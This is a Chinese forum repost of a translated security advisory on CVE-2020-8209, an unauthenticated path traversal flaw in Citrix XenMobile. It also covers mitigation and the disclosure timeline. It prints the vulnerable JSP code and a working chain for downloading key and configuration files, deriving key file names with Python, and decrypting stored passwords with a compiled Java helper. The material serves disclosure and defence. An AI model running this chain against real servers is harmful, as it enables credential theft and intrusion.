搜索

[1151] 2020-11-17_[翻译]CitrixXenMobileCVE-2020-8209目录遍历任意文件读取

文档创建者：s7ckTeam
浏览次数：13
最后更新：2025-01-16
2020-11-17_[翻译]CitrixXenMobileCVE-2020-8209目录遍历任意文件读取 [ 翻 译 ] C i t r i x   X e n M o b i l e   C V E - 2 0 2 0 - 8 2 0 9   目 录 遍 历 任 意 文 件 读 取 C h a B u g 运 营 小 哥 哥   C h a B u g   2 0 2 0 - 1 1 - 1 7 原 文 链 接 ： h t t p s : / / s w a r m . p t s e c u r i t y . c o m / p a t h - t r a v e r s a l - o n - c i t r i x - x e n m o b i l e - s e r v e r / 原 文 作 者 ： A n d r e y   M e d o v C i t r i x   E n d p o i n t   M a n a g e m e n t （ 也 称 为 X e n M o b i l e ） 用 于 管 理 员 工 的 移 动 设 备 和 移 动 应 用 程 序 。 通 常 ， 由 于 A c t i v e   D i r e c t o r y 集 成 ， 它 部 署 在 网 络 外 围 并 可 以 访 问 内 部 网 络 。 这 使 X e n M o b i l e 成 为 安 全 研 究 的 主 要 目 标 。 在 此 类 研 究 中 ， 发 现 了 路 径 遍 历 漏 洞 。 此 漏 洞 允 许 未 经 授 权 的 用 户 读 取 任 意 文 件 ， 包 括 包 含 密 码 的 配 置 文 件 。 C V E - 2 0 2 0 - 8 2 0 9   – 路 径 遍 历 路 径 遍 历 利 用 此 漏 洞 ， 可 以 读 取 W e b 服 务 器 根 目 录 之 外 的 任 意 文 件 ， 包 括 配 置 文 件 和 敏 感 的 加 密 密 钥 。 剥 削 不 需 要 授 权 。 在 文 件 h e l p - s b - d o w n l o a d . j s p 中 标 识 了 易 受 攻 击 的 代 码 ： < %         S t r i n g   s b F i l e P a t h = " / o p t / s a s / s u p p o r t / " ;         i n t   l e n g t h   =   0 ;         S t r i n g   s b F i l e N a m e = ( S t r i n g ) r e q u e s t . g e t P a r a m e t e r ( " s b F i l e N a m e " ) ;         S e r v l e t O u t p u t S t r e a m   o u t S t r e a m   =   r e s p o n s e . g e t O u t p u t S t r e a m ( ) ;         r e s p o n s e . s e t H e a d e r ( " S e t - C o o k i e " , " f i l e D o w n l o a d = t r u e ;   p a t h = / " ) ;         r e s p o n s e . s e t C o n t e n t T y p e ( " a p p l i c a t i o n / o c t e t - s t r e a m " ) ;         r e s p o n s e . s e t H e a d e r ( " C o n t e n t - D i s p o s i t i o n " ,   " a t t a c h m e n t ;   f i l e n a m e = " "   +   s b F i l e N a m e   +   ' " ' ) ;         F i l e   f i l e   =   n e w   F i l e ( s b F i l e P a t h + s b F i l e N a m e ) ;         b y t e [ ]   b y t e B u f f e r   =   n e w   b y t e [ 4 0 9 6 ] ;         D a t a I n p u t S t r e a m   i n   =   n e w   D a t a I n p u t S t r e a m ( n e w   F i l e I n p u t S t r e a m ( f i l e ) ) ;         w h i l e ( ( i n   ! =   n u l l )   & &   ( ( l e n g t h   = i n . r e a d ( b y t e B u f f e r ) )   ! =   - 1 ) )         {                 o u t S t r e a m . w r i t e ( b y t e B u f f e r , 0 , l e n g t h ) ;         }         i n . c l o s e ( ) ;         o u t S t r e a m . f l u s h ( ) ; % >
该 参 数 s b F i l e N a m e 与 字 符 串 连 接 / o p t / s a s / s u p p o r t / ， 之 后 将 字 符 串 作 为 参 数 提 供 给 F i l e 类 构 造 函 数 。 结 果 显 示 在 以 下 屏 幕 截 图 中 ： 解 密 配 置 密 码 解 密 配 置 密 码 尽 管 该 应 用 程 序 以 t o m c a t 用 户 的 特 权 运 行 ， 但 仍 可 以 读 取 诸 如 的 配 置 文 件 / o p t / s a s / s w / c o n f i g / s f t u . p r o p e r t i e s 。 密 码 已 加 密 并 以 以 下 两 种 格 式 之 一 存 储 ： { a e s }   [ b a s e 6 4 文 本 ] 或 { a e s }   { d b }   [ b a s e 6 4 文 本 ] 。 加 密 由 库 / o p t / s a s / s w / l i b / l i b s e c u r e . s o 和 D a t a S e c u r i t y . j a r 处 理 。 为 了 解 密 ， 需 要 相 应 的 密 钥 。 它 们 位 于 文 件 中 / o p t / s a s / r t / k e y s / s e c u r i t y . p r o p e r t i e s ， 可 以 使 用 路 径 遍 历 漏 洞 进 行 下 载 。
这 是 文 件 内 容 的 一 个 示 例 ： 使 用 算 法 对 每 个 参 数 P . T X T 1 ， P . T X T 2 ， P . T X T 3 进 行 哈 希 处 理 并 指 . t x t 文 件 夹 中 的 文 件 / o p t / s a s / r t / k e y s / 。 这 些 相 同 的 步 骤 由 库 完 成 l i b s e c u r e . s o 。 P . T X T 1 = v f j g e g d w e c m y k h b i s p f g P . T X T 2 = m b e z v f t v z w j o p i r u w e w m P . T X T 3 = g z a o a x m e b r g f f q u a n k d x P 3 . S a l t = W 3 U K 3 P t D V g Y q 9 J d 9 Q K R e A w = = N L K = c T 4 n k j X G c / i U Z 2 T v C V k v m s Z A s N T G / 6 O g E 0 8 Z M W v A T c L 2 f X F g f w A J O / n h E 7 j s i 6 Z h N L K S = S C 0 1 C g = = W K S = C A V R K 9 / 5 + r 5 e s Y + b v r Z J 1 g = = S K = j T y j y N s y F b k r C n a I 9 G q / 0 G V U p 1 f k q 8 n d + V H L e 3 5 T 0 r m m m 8 z 7 o s N t g f S N P F u l S S J 1 S K S = C F 5 e b Q = = U D . G K = 6 9 i c t 4 0 Y l M C 9 E 1 a 2 T c g u 3 U V b 0 L k d 5 R y a d c Q 4 S E w c b K l U C R 8 T v 4 l G v 6 N 6 B k i r K k 7 l G K S = 4 G L R G w = = f r o m   b a s e 6 4   i m p o r t   b 6 4 e n c o d e f r o m   h a s h l i b   i m p o r t   s h a 2 5 6 p r i n t ( b 6 4 e n c o d e ( s h a 2 5 6 ( b ' v f j g e g d w e c m y k h b i s p f g ' ) . d i g e s t ( ) ) . d e c o d e ( ' a s c i i ' ) . t r a n s l a t e ( { 4 7 : N o n e , 6 1 : N o n e } ) ) p r i n t ( b 6 4 e n c o d e ( s h a 2 5 6 ( b ' m b e z v f t v z w j o p i r u w e w m ' ) . d i g e s t ( ) ) . d e c o d e ( ' a s c i i ' ) . t r a n s l a t e ( { 4 7 : N o n e , 6 1 : N o n e } ) ) p r i n t ( b 6 4 e n c o d e ( s h a 2 5 6 ( b ' g z a o a x m e b r g f f q u a n k d x ' ) . d i g e s t ( ) ) . d e c o d e ( ' a s c i i ' ) . t r a n s l a t e ( { 4 7 : N o n e , 6 1 : N o n e } ) )
生 成 的 文 件 名 W b u G F 1 z 7 N + 0 E s L T T C E 3 J o R N g A J J z V e 7 G s 5 J W h p 3 q J E . t x t ， l Q G K r l f W t a d 6 1 m x y F k U W N i 2 v F 7 I N d f O f i X z V X 1 I 9 5 g . t x t 和 N Z c 0 G g H c L K 4 q z g d Q d Q 0 V 5 0 E o r r k s n J F d u 1 z I I l x x 1 j 8 . t x t 可 以 用 于 使 用 路 径 遍 历 漏 洞 从 服 务 器 下 载 相 应 的 文 件 。 / o p t / s a s / s w / l i b / l i b s e c u r e . s o 还 需 要 用 于 加 密 的 库 。 当 务 之 急 是 这 些 文 件 （ s e c u r i t y . p r o p e r t i e s ， W b u G F 1 z 7 N + 0 E s L T T C E 3 J o R N g A J J z V e 7 G s 5 J W h p 3 q J E . t x t ， l Q G K r l f W t a d 6 1 m x y F k U W N i 2 v F 7 I N d f O f i X z V X 1 I 9 5 g . t x t ， N Z c 0 G g H c L K 4 q z g d Q d Q 0 V 5 0 E o r r k s n J F d u 1 z I I l x x 1 j 8 . t x t ， l i b s e c u r e . s o ） ， 以 保 存 到 本 地 ， 他 们 有 X e n M o b i l e 服 务 器 上 的 同 一 个 文 件 的 路 径 。 还 需 要 三 个 J a v a 库 ， 保 存 到 一 个 文 件 夹 ： / o p t / s a s / s w / t o m c a t / i n s t 1 / w e b a p p s / R O O T / W E B - I N F / l i b / D a t a S e c u r i t y . j a r ， / o p t / s a s / s w / t o m c a t / i n s t 1 / w e b a p p s / R O O T / W E B - I N F / l i b / c o m m o n - i n t e r f a c e s . j a r ， / o p t / s a s / s w / t o m c a t / i n s t 1 / w e b a p p s / R O O T / W E B - I N F / l i b / s l f 4 j - a p i - 1 . 6 . 4 . j a r 。 在 上 述 文 件 夹 中 ， 创 建 一 个 d e c r y p t . c l a s s 包 含 以 下 内 容 的 文 件 并 进 行 编 译 。 i m p o r t   c o m . c i t r i x . x m s . s e c u r i t y . D a t a S e c u r i t y ; c l a s s   d e c r y p t   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   {                 i f   ( a r g s . l e n g t h   <   1 )   {                         S y s t e m . o u t . p r i n t l n ( " U s a g e : n         d e c r y p t   [ e n c r y p t e d   s t r i n g ] " ) ;                         r e t u r n ;                 }                 S y s t e m . o u t . p r i n t l n ( D a t a S e c u r i t y . d e c r y p t D b P a s s w o r d ( a r g s [ 0 ] ) ) ;         } }
通 过 正 确 排 列 所 有 数 据 ， 我 们 可 以 从 配 置 文 件 中 解 密 密 码 。 缓 解 措 施 缓 解 措 施 可 通 过 以 下 链 接 获 得 该 通 报 ： h t t p s : / / s u p p o r t . c i t r i x . c o m / a r t i c l e / C T X 2 7 7 4 5 7 。 官 方 补 丁 会 删 除 该 文 件 / o p t / s a s / s w / t o m c a t / i n s t 1 / w e b a p p s / R O O T / j s p / h e l p - s b - d o w n l o a d . j s p ， 因 此 对 h e l p - s b - d o w n l o a d . j s p 的 所 有 请 求 都 可 以 视 为 非 法 请 求 ， 并 且 应 被 W A F 阻 止 。 建 议 检 查 访 问 日 志 中 是 否 有 以 前 的 请 求 。 时 间 轴 时 间 轴 1 .   2 0 2 0 年 2 月 2 8 日 - 报 告 给 C i t r i x 2 .   2 0 2 0 年 3 月 1 1 日 - 最 新 版 本 已 解 决 问 题 3 .   2 0 2 0 年 8 月 1 1 日 - 发 行 了 所 有 版 本 的 补 丁 4 .   2 0 2 0 年 1 1 月 1 6 日 - 公 开 披 露 分 享 、 点 赞 、 在 看 就 是 对 我 们 的 一 种 支 持 ！
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理